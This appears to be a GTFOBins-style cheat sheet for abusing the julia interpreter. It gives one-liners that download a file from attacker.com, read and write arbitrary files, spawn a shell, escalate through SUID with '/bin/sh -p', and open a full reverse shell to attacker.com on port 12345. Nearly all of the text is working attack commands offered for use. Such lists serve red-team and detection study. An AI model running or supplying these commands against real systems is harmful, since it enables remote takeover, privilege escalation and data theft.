julia

Download

julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'

File Read

julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'

File Write

julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'

Reverse Shell

julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'

Shell

julia -e 'run(`/bin/sh`)'

SUID override:

julia -e 'run(`/bin/sh -p`)'